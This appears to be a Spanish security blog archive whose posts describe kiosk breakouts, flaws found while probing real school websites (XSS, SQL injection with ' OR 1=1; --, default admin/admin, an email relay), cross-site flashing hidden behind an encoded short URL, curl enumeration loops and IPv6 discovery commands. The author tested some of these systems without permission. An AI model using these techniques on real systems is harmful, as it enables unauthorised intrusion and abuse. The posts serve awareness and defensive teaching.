Vamos a ver si animamos un poco esto que está algo decaído. Y nada mejor que un quiosco inseguro, que siempre es muy gracioso.

Desde lo del IKEA le tengo ganas a cualquier quiosco que pillo y siempre intento meterles mano. He pillado alguno más que no puedo contar porque son de clientes (algunos pagados y otros de buen rollo).

En particular, este que os cuento hoy ha sucedido esta mañana en unas oficinas de un organismo nacional del que prefiero mantener el anonimato.

El quiosco en cuestión está en la puerta para expedir los tiques de turno para ser atendido. Nada más verlo te das cuenta de que es un Explorer con una web.

Pues la cosa es que dándole varias veces en la esquina con el dedo así rápido conseguimos sacar el menú de imágenes del Explorer. A partir de ahí, es posible acceder al navegador de ficheros pulsando el último icono (que te lleva a ‘mis imágenes’), que te muestra también la barra de Windows.

Aquí os dejo una foto del hecho. Observad que se trata de Windows XP con servicios Novell y, al menos, tiene instalado el MySQL -Front. Este software es gracioso porque, según su descripción es:

MySQL-Front es una sencilla pero útil aplicación diseñada especialmente para desarrolladores que trabajan con MySQL.

Desde el primer momento en el que empiezas a usar este administrador descubres su facilidad para obtener información sobre las bases de datos, tanto de sus tablas como de su estructura y contenido.

Todo ello desde un interfaz muy intuitivo que recuerda bastante a la estructura del Explorador de Windows.

Con MySQL-Front se pueden realizar acciones básicas como añadir, borrar o modificar tablas, campos, registros, y además:

No parece muy necesario en un quiosco… Lo que me sorprende también es que tiene un software de quiosco… pero vamos, no parece ser muy efectivo contra acceso al sistema operativo.

Por cierto que, os estaréis preguntando… ¿pero tenia conexión a Internet? ¿Se podía acceder a otros equipos del organismo? ¿Qué privilegios tenía vuestro usuario? ¿Era parte del dominio? ¿Presume un pájaro cuando vuela? ¿Ha visto usted algún marciano?

Pues la verdad es que… ni puta idea. Lo primero es que el cacharro no tiene teclado físico. Así que por aquél entonces no sabía como lanzar uno virtual (parece que Windows XP trae un ‘on screen keyboard’ que puede lanzarse mediante el comando OSK).

Y lo segundo es que no paraba de entrar gente a por su turno y así no había manera de probar nada.

Por lo tanto, si vuelvo a ir ya os contaré, siempre y cuando no esté la cosa saturada de peña, que si no…

Para terminar, un poco de moralina. Y es que no se pueden tener quioscos así desprotegidos porque afectan a la seguridad de toda la organización y, en muchos casos, es trivial saltarse la protección del ‘modo quiosco’.

Y en este caso en concreto, ¿de verdad es necesaria una página web y un windows XP para cuatro botones que escupen un turno secuencial?

Recientemente he tenido la ocasión de visitar webs de múltiples colegios de Sevilla por razones personales. Por deformación profesional no he podido evitar valorar por encima la seguridad de algunas de las webs visitadas.

Como podréis imaginar, los resultados no han sido muy buenos. Os resumo lo que he encontrado. No voy a dar nombres aquí, aunque si alguno tiene interés que me haga un DM en twitter y ya veremos.

La buena noticia es que, todavía, no hay mucha información sensible en los colegios que tenían vulnerabilidades. Pero eso no es ningún consuelo si imaginamos que la inclusión de nuevos servicios e información probablemente sea más rápida que la adopción de nuevas medidas de seguridad.

Colegio 1

Colegio privado bilingüe de renombre y bastante caro para gente exclusiva. Su web da un poco de pena porque parece traída directamente de los 90.

Se nota que está hecha a mano y que no utilizan ningún framework o software a medida. Está hecha en PHP. Nada más ver algunos de los enlaces nos podemos hacer una idea del problema: http://colegio1.com/index.php?main=datos/pollos.php

El contenido de la URL indicada en el parámetro main es empleado para poblar un iframe en la página resultante. Como podéis imaginar, modificandolo podemos hacer que muestre cualquier otro sitio. Y además, no sólo permite http://, podemos hacer que sea javascript: o data:

Una vez podemos ejecutar javascript en el navegador de alguien desde un sitio que no es nuestro, lo que podemos hacer depende de nuestra imaginación. Por ejemplo, phishing, desacreditación, SPAM, etc.

O mejor aún, ejecutar BeEF sobre el cliente y convertirlo en zombie. Desde BeEF es posible controlar el navegador del usuario e, incluso, explotar vulnerabilidades en el navegador, Flash o Java.

Echad un ojo al BeEF y decidme si os parece que el XSS no es importante.

Colegio 2

Otro colegio privado bilingüe muy afamado y de difícil acceso. De apariencia su web es mucho más moderna y cuidada con un diseño más profesional. Está desarrollada en PHP.

La web es informativa excepto por una sección de acceso privada (con usuario y contraseña) y un formulario de envío de datos. El formulario de envío de datos te deja enviar un mensaje a distintos departamentos.

Echando un ojo al código HTML nos encontramos la direcciones de correo a las que se envía el mensaje (para cada departamento) y el mensaje que se envía. Si cambiamos esos datos… ¡sorpresa! el formulario envía el correo a quién queramos con el mensaje que queramos desde la cuenta info@colegio2.com.

Por lo tanto, podemos suplantar al colegio con comunicaciones falsas personalizadas (si conocemos a alguien con niños en el colegio) o podemos emplearlo para enviar SPAM, ataques de phishing o cualquier otra idea maligna que se nos ocurra.

Se ve que los que han hecho la web no han pensado en la posibilidad de que se puedan usar comillas simples. Asi que si incluyes una, cierras el ‘string’ y puedes insertar comandos en el software que envía los mensajes.

Respecto a la autenticación de usuarios, pasa lo mismo. Con poner una comilla ya ves que hay SQLi. El clásico ' OR 1=1; -- te permite entrar como el primer usuario a la zona privada.

Colegio 3

El tercer colegio es un centro privado concertado normalito. Su web es simple, está desarrollada en PHP y tiene un menú en Flash para diferentes secciones.

No parece tener nada dinámico ni de acceso a simple vista. De hecho, varias secciones aparecen vacias o con ‘noticias de prueba’.

Sin embargo, probando la URL http://colegio3.com/admin nos encontramos un formulario de acceso para administración. Probando el clásico admin/admin podemos entrar como el único administrador de la plataforma. Nos permite crear usuarios, publicar noticias, poner texto en secciones, etc.

Colegio 4

Colegio privado de fama local sólo para infantil y primaria. Su página está desarrollada toda en Flash con un diseño rayante y, en mi opinión, poco efectivo.

Lo primero que notas es que el fichero Flash es colegio4_web2.swf por lo que si pruebas colegio4_web.swf puedes ver la version anterior.

En este caso, no hay nada demasiado grave en la versión anterior, aunque sí gracioso. Aparece una sección sobre webcams que no está en la nueva web. Lamentablemente esta sección indica que las webcams no son accesibles debido a que no hay consenso entre los padres.

En la nueva web, nos encontramos con una sección privada que pide ‘una contraseña’. Analicemos el código, a ver qué hace.

Empleando la herramienta flare, como vimos recientemnte, podemos ver el código del fichero colegio4_web2.swf. Resulta que hace dos peticiones de ‘carga de variables’, una a acceso.php y otra a datos.php.

Al parecer esto es bastante común en Flash. La aplicación carga un conjunto de variables de una web mediante una petición HTTP. Por supuesto, haciendo lo mismo podemos obtener y analizar tranquilamente esa información que suele ser del tipo clave1=valor1&clave2=valor2, etc.

Esto puede exponer información adicional y desvelar URLs internas. En el caso de este colegio (solicitado datos.php), podemos obtener las URLs de todas las fotos publicadas en la web. Por otro lado, acceso.php espera recibir una contraseña como valor y devuelve un conjunto de variables donde indica si la contraseña es váilda y el tipo de acceso que tiene. Así que, para pervertir al Flash, sólo hace falta capturar esa petición y modificarla como si tuviéramos acceso a todo.

Lamentablemente, en este caso no parece que haya mucha información, no estoy seguro de si es porque está sin terminar o porque hay que hacer algo más que se me ha escapado. Pero no deja de ser curioso este sistema que ‘no parece muy seguro’. Además, da la impresión de que cada ciclo formativo tiene una contraseña distinta, no por usuario.

En fin, esperemos que no activen las webcams con este nivel de seguridad.

Discusión

Estuve viendo webs de otros colegios a los que no pude sacar nada con el tiempo y conocimientos limitados que tengo. Es curioso porque estos centros usan Drupal, WordPress o la plataforma educativa Helvia (presente en los centros TIC aunque no siempre expuesta al exterior). Parece que utilizar un software ya hecho da más garantías que que te lo hagan de cero.

Eso sí, en ningún caso he visto HTTPS y en casi ninguno páginas de error personalizadas

Estoy seguro de que alguna vulnerabilidad tendrán, pero habrá que dedicar mucho más tiempo y esfuerzo. He de decir que estas pruebas las hice en un ratillo empleando únicamente curl y, en algunos casos, sqlmap. No he lanzado ningún analizador web automatico, que igual podría dar con otros problemas.

En cualquier caso, quiero resaltar la importancia de pensar un poco en la seguridad en el diseño antes de cometer estos errores tan tontos y de la importancia de revisar lo que se ha hecho.

Visto qu los términos de búsqueda más empleados para llegar al blog recientemente son “santa claus borracho”, “drunk santa” y otros relacionados con la navidad, voy a seguir con el filón a ver si llegamos con más adeptos al artículo número 100 (que está muy cercano).

Hace unos días recibí una felicitación navideña de un sitio legítimo con el que tengo una relación laboral. El mensaje estaba en HTML e incluía (entre otras cosas) un enlace a la postal.

El tema de las postales (navideñas o no) siempre ha sido un vector de infección, phishing y otros peligros. Una vez casi caigo porque me llegó una felicitación de cumpleaños precisamente cerca de mi cumpleaños.

Como diría Zalewski “todo empieza con una URL”. Esta era tal que así:

http://www.example.com/x/index.php?file=navidad.swf&dear=Dr_Alce&dear_email=dr.alce@example.com&yours=Sr_Cabeza&yours_email=sr.cabeza@example.com&message=MERRY%20CHRISTMAS%20FROM%20SR.%20CABEZA!!

Que el nombre del fichero flash (swf) aparezca en la URL huele mal. Pero bueno, yo tampoco sé mucho de flash, igual es una técnica habitual.

Eché un ojo a la página que genera esta URL con el curl y me encontré lo siguiente:

<object id="naviddad" width="800" height="600" classid="clsid:d27cdb6e-ae6d-10cf-94b8-443523540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0">
<param name="allowScriptAccess" value="always" />
<param name="allowFullScreen" value="false" />
<param name="quality" value="high" />
<param name="src" value="navidad.swf?dear=Dear Dr_Alce,&amp;yours=Yours, Sr_Cabeza&amp;message=MERRY CHRISTMAS FROM SR. CABEZA!!" />
<param name="allowscriptaccess" value="sameDomain" />
<param name="allowfullscreen" value="false" />
<param name="pluginspage" value="http://www.macromedia.com/go/getflashplayer" />
<embed id="xmas_php" width="800" height="600" type="application/x-shockwave-flash" src="navidad.swf?dear=Dear Dr_Alce,&amp;yours=Yours, Sr_Cabeza&amp;message=MERRY CHRISTMAS FROM SR. CABEZA!!" allowScriptAccess="always" allowFullScreen="false" quality="high" allowscriptaccess="sameDomain" allowfullscreen="false" pluginspage="http://www.macromedia.com/go/getflashplayer" />
</object>

Lamentablemente, modificando el parámetro file para que incluya otro fichero swf de otro dominio conseguimos que el sitio de destino nos incluya y ejecute el flash. Investigando un poco descubrí que a este tipo de XSS le llaman Cross-Site Flashing (XSF).

Las posibilidades, como podréis imaginar, son numerosas. Considerando, además, el hecho de que se puede ejecutar javascript desde el propio flash, ya está todo perdido :).

El problema principal, en este caso, es que la directiva allowscriptaccess aparece tres veces con dos valores distintos. El valor correcto sería el de ‘sameDomain’ donde, al menos, sólo se podría ejecutar un flash que estuviera en el mismo sitio web. Pero aparece otro (que por alguna razón prevalece) con el valor ‘always’ que significa que cargará cualquier flash de cualquier sitio.

Aunque también sería posible analizar el código flash buscando uso inseguro de los parámetros de entrada para provocar la ejecución remota.

Investigando un poco más descubrí algunos artículos interesantes sobre el tema, que enlazo a continuación.

Por cierto, el OWASP dedica el capítulo 4.8.4 de su guía de pruebas a XSF.

Como aprendizaje, tened mucho cuidado con cómo publicáis flash y tened en cuenta que el código puede leerse fácilmente y, como siempre, nunca confiéis en la entrada del usuario.

Ah, y si queréis una postal navideña, dejad un comentario con vuestras señas y os la enviamos sin compromiso :).

Actualización

Graciosamente, la URL que puedes insertar en el perámetro file puede ser una acortada (por ejemplo con bit.ly o algún sitio simialr). No puedes eliminar el esquema de la URL, que queda tela de sospechoso, pero sí puedes escribirlo ‘en URLencode’. La URL resultante puede ser la siguiente:

http://www.example.com/x/index.php?file=%68%74%74%70%3A%2F%2Fbit.ly/navidad

Que es mucho menos sospechosa.

Lamentablemente no tenemos ni puta idea de valorar amenazas. Quizá los de seguridad somos demasiado catastrofistas, pero los que tienen responsabilidad no se imaginan hasta qué punto son vulnerables ni el posible impacto de una intrusión con mala leche.

En cualquiera de los casos quería haceros reflexionar sobre la falta de conciencia del peligro que suponen determinadas accione y de cómo se toman, en muchas ocasiones, a la ligera decisiones que tienen un grave impacto en la seguridad de su propia organización.

Así que os dejo el sangriento cartel del lunes desmotivador de esta semana sobre la valoración de amenazas y las consecuencias de no valorarlas adecuadamente. Y eso que Tim, el mago, les había avisado…

Creo que una de las razones es el desconocimiento de la infraestructura que forma los sistemas de información y, otra, la excesiva confianza en los ‘controles’ implantados. Respecto a esto último ya escribiré un artículo en breve.

La mejor escena de Instinto básico para mí siempre fue esa en la que el Douglas sube las escaleras diciendo “porque yo soy…” y la Sharon Stone (sharito para los colegas) le completa la frase diciendo “impredecible”.

Dicho esto, emplear secuencias predecibles en el ámbito tecnológico puede desembocar en problemas que el diseñador no ha previsto.

Veamos algunos ejemplos de la vida real.

El otro día me encontré un servidor de streaming servido desde una aplicación web. Resulta que los enlaces a los contenidos tienen un formato numérico del tipo 0091.flv, 0067.flv, etc. Así que, con un pequeño script es posible hacer un barrido por las 10000 posibilidades, a ver qué encontramos.

Otro día distinto me dieron una cuenta de usuario para hacer unas pruebas y tenía una nomenclartura tal como esta: thx1138. Hmmm. Total que probando, todos los usuarios del sistema eran del tipo thxNNNN. Así que es trivial encontrar nuevos usuarios para otras felonías.

Hay cierta organización que tiene un conjunto de servidores cuyos nombres son del tipo wsNNN. Por lo que, para descubrir servidores sólo hay que iterar entre las 1000 posibilidades.

En otro sitio vi que había una aplicación web que hacía de portal de entrada para otras aplicaciones. Cada usuario veía las aplicaciones que le correspondían en base a su perfil… pero claro, se trataba de un número secuencial, por lo que era fácil descubrir otras aplicaciones a las que, en principio, no tenías acceso.

Uno clásico es el directorio lleno de ficheros generados por una aplicación al que te dan acceso directo. Y resulta que es un tmpNNNNNNNN.pdf o similar. Pues nada, a probar ahí a ver si encontramos otros PDFs.

Otro clásico es la publicación de aplicaciones web de desarrollo o páginas borrador en el entorno de producción, disponibles a quién sepa la URL. Cuando es predecible, siempre aparece al que se le ocurre probar. Por ejemplo, si la aplicación es /aplicacion2011, ¿existira /aplicacion2012? Si la noticia es news20111110… ¿existirá news20111111?

El mayor de los peligros de este tipo de pensamiento (aparte de la enumeración) es que, a veces, hay recursos que el diseñador piensa que están protegidos porque no son ‘enlazados’ desde ningún sitio. Pero claro, si simplemente iterando eres capaz de encontrarlos…

Para los que no la conozcáis una herramienta muy útil para estos casos es seq. Por ejemplo, si queremos generar una secuencia del 1 al 10:

$ seq 1 10
1
2
3
4
5
6
7
8
9
10

O si queréis algo más elaborado: por ejemplo, empezar en 0000 hasta 1138 de dos en dos, añadiendo el thx y con cuatro digitos rellenando con ceros si hace falta.

$ seq -f 'thx%04g' 0000 2 1138
thx0000
thx0002
thx0004
thx0006
thx0008
thx0010
thx0012
thx0014
thx0016
thx0018
...

Para usar esto, por ejemplo, en una secuencia de comandos, podemos hacer lo siguiente:

$ for i in `seq -f 'thx%04g' 0000 2 1138`
> do
> curl -siLk https://lucas.film/user=$i
> done

¿Qué hacemos para no ser predecibles? Pues pensar un poco cada vez que vayamos a nombrar muchos elementos. En ciertos casos es imposible o inconveniente, pero en otros… es fácil.

En el caso del streaming o de las aplicaciones, o nombres de ficheros en general, es posible emplear identificadores universalmente únicos (UUID) que son difíciles de predecir, adivinar o probar por fuerza bruta.

Todos los lenguajes disponen de librerías UUID para generar vuestros nombres aleatorios irrepetibles. De hecho, existe un comando uuid que podéis instalar en vuestra distro favorita o descargar de OSSP.

Los problemas de secuencias predecibles han causado muchísimos problemas en redes. Tanto es así que en OpenBSD fueron los primeros en generar números aleatorios para todo, desde PIDs a números de secuencia TCP. Eso les ha salvado de algunos problemas que han tenido otros sistemas operativos.

Recordad diseñar siempre cualquier tipo de conjunto de elementos nominales para evitar secuencias evidentes que nos hagan tan predecibles como Michael Douglas en Instinto básico.

Si vas al IKEA veras que está lleno de unos terminales de libre acceso para consultas sobre los productos que se venden. Estos terminales ejecutan Internet Explorer sobre Windows en ‘modo kiosko‘.

El objetivo de este terminal es que seas capaz de navegar por la página de IKEA pero que no lo utilices ni para navegar por otros sitios ni para usar el sistema operativo ni acceder a su red interna.

Este tipo de situaciones tiene unos requisitos de seguridad específicos. Podéis leerlos mejor de lo que yo los pueda explicar en estas dos presentaciones.

Como veis existen múltiples medidas de seguridad necesarias (físicas, de red, de sistema, del propio kiosko, etc.). El problema es confiar en que el usuario no va a ser capaz de saltarse el ‘modo kiosko’. Ya que siempre hay algún desliz que hace que se pueda hacer algo más de lo previsto.

Por ejemplo, en el caso del terminal de IKEA, el modo kisoko está muy conseguido: ni menús del botón derecho, ni combinaciones de teclas, ni parece que puedas acceder a enlaces fuera de IKEA (ni siquiera al blog), ni pasa nada cuando pinchas sobre enlaces mailto.

A primera vista parece que lo único que podemos hacer es consultar los productos o hablar con Ana. Pero realmente se trata de un terminal con acceso a Internet al estilo IKEA, o sea, que te lo tienes que montar tú mismo.

Veamos cómo. Probando un poquito di con una página que permite descargarse un zip para tener IKEA en tu GPS (podéis buscar GPS en el buscador de arriba y es el único enlace que aparece). Si pincháis en TomTom, por ejemplo, podéis ver que sale un dialogo de abrir/grabar/cancelar. Y después viene un enlace para ‘ayuda’. Ups. Y si pinchas en ese enlace aparece la ‘ayuda’ que no es otra cosa que el Internet Explorer en modo ‘help browser”.

Pero claro, sólo podemos ver las páginas de ayuda… ¿o no? Pues resulta que si pincháis en el icono de la ventana una de las opciones es ‘jump to URL’.

Hasta aquí euforia :). Sin embargo, hay un proxy que corta todas las páginas (google, facebook, etc.). Parece que deja cargar la página principal de tiwtter pero sin CSS.. Vaya… Pero si pincháis sobre ‘options’ podéis acceder a las opciones de Internet donde para sorpresa de muchos es posible inhabilitar el proxy y acceder a google, por ejemplo. Bueno, a google sueco :) como veis en la foto.

Parece que, sin embargo, queda cierto filtrado porque no he podido llegar a la página de explotación de kioskos. Por ahora simplemente es posible navegar en el caso de que os haga falta, pero estoy seguro de que se puede hacer mucho más.

Como comenté antes, el problema es confiar que el usuario no va a saltarse el modo kiosko y dejar que pueda configurar el proxy. En este caso, la defensa en profundidad es el mejor remedio.

Interesante reflexión de Drizzt sobre los problemas de seguridad en smartphones principalmente debidos a que las vulnerabilidades que se detectan no acaban siendo actualizadas en los dispositivos o bien se actualizan tarde y no a todos.

Ya había escuchado lo mismo recientemente de un colega que decía que sólo Google actualiza periódicamente sus dispositivos (¿será verdad, no será verdad?).

En mi experiencia sólo una vez desde noviembre me ha llegado una actualización para el móvil. Por cierto, voy a ver si soy capaz de ver si tengo instalados los certificados de Comodo y ya os cuento.

Coincidiendo con las noticias del World IPv6 Day (el próximo 8 de junio, reservad vuestras agendas) el otro día me decidí a desempolvar mis limitados conocimientos en el nuevo protocolo que sustentará la Internet del futuro.

Un momento… ¿del futuro?

Si consideramos el uso de IPv6 a escala global pues sí, aún no está (aunque sigue avanzando poco a poco). Pero si consideramos el soporte de sistemas operativos, ya todos lo traen… activado por defecto.

Disponer de funcionalidad que realmente no usas tiene siempre implicaciones de seguridad, claro.

Haced un ip a o un ifconfig y buscad inet6. Lo más seguro es que tengáis ya asignada una dirección IPv6.

No voy a entrar a comentar nada sobre los cambios que supone el IPv6 sobre la versión 4 ni nada que ya bastante podéis encontrar por ahí. Sí quiero incidir en los siguientes puntos interesantes que he podido extraer del vídeo que os empotro al final de este post.

  • Las medidas de filtrado o limitaciones que hayáis puesto para servicios sobre IPv4 no van a ser efectivas en IPv6, lo que significa que es posible que sea posible acceder a servicios limitados a determinados rangos de direcciones IP.
  • Es posible que no encuentres los mismos servicios corriendo en uno y otro protocolo, por lo que la exposición de dichos servicios será diferente.
  • Es bastante probable que tu monitor de red y/o IDS no registre tráfico IPv6, por lo que un intento de explotación usando este protocolo puede pasar más desapercibido.
  • Las herramientas de seguridad suelen tener limitaciones cuando se utiliza IPv6.
  • Normalmente no vas a ser capaz de salir de tu red interna por IPv6 (ya que, a diferencia de equipos y servidores, necesitarías un esfuerzo para conseguirlo. Tendría que estar soportado por tu ISP o emplear algunos de los servicios de túneles disponibles gratuitamente por ahí.

Si tenéis activado IPv6 en algún equipo sobre el que tengáis acceso podéis probar a ejecutar los siguientes comandos:

  • ping6 ff02::1%eth0 para identificar otros equipos con IPv6 activado (y que respondan a ping)
  • ping6 ff02::2%eth0 para identificar equipos con funciones de rutado sobre IPv6 en vuestra red

Sustituid eth0 por la interfaz que queráis usar. Para profesionalizar un poco más el asunto, podéis hacer lo siguiente:

ping6 -c 5 ff02::1%eth0 | cut -d' ' -f4 | grep ^fe80 | sort | uniq | sed -e 's/:$//' > ipv6_addr
nmap -6 -sT -iL ipv6_addr

nmap es una de esas herramientas con limitaciones en el uso de funcionalidad sobre IPv6.

Debido a que la dirección IPv6 autoconfigurada se compone de elementos de la MAC de la interfaz, es posible, mediante un <code>arp -a</code> identificar visualmente a qué equipos (identificados por su dirección IPv4) corresponden las direcciones IPv6 que has encontrado.

Algo así hace automáticamente metasploit con el plugin auxiliary/scanner/discovery/ipv6_neighbor.

Por favor, ved el vídeo porque tiene muchas ideas interesantes desde el punto de vista de seguridad sobre IPv6:

  • Frameworks específicos para análisis y explotación de redes IPv6
  • Uso de socat para pasar de IPv4 a IPv6 y poder ejecutar herramientas que no tienen soporte nativo
  • Servidores de túneles para conectarse a la red mundial de IPv6 y poder participar del World IPv6 Day.
  • etc.

¿Has probado cuántos equipos tienen direcciones IPv6? ¿Has visto si difieren los servicios que ofrecen? Si lo haces no olvides comentarnos tus hallazgos aquí o en el próximo Sec&Beer.

Ah, y si consigues conectarte a Internet con IPv6 no olvides ir a ver a la tortuga bailando.

Por último, el vídeo prometido.

Rick Hayes – Assessing and Pen-Testing IPv6 Networks from Adrian Crenshaw on Vimeo.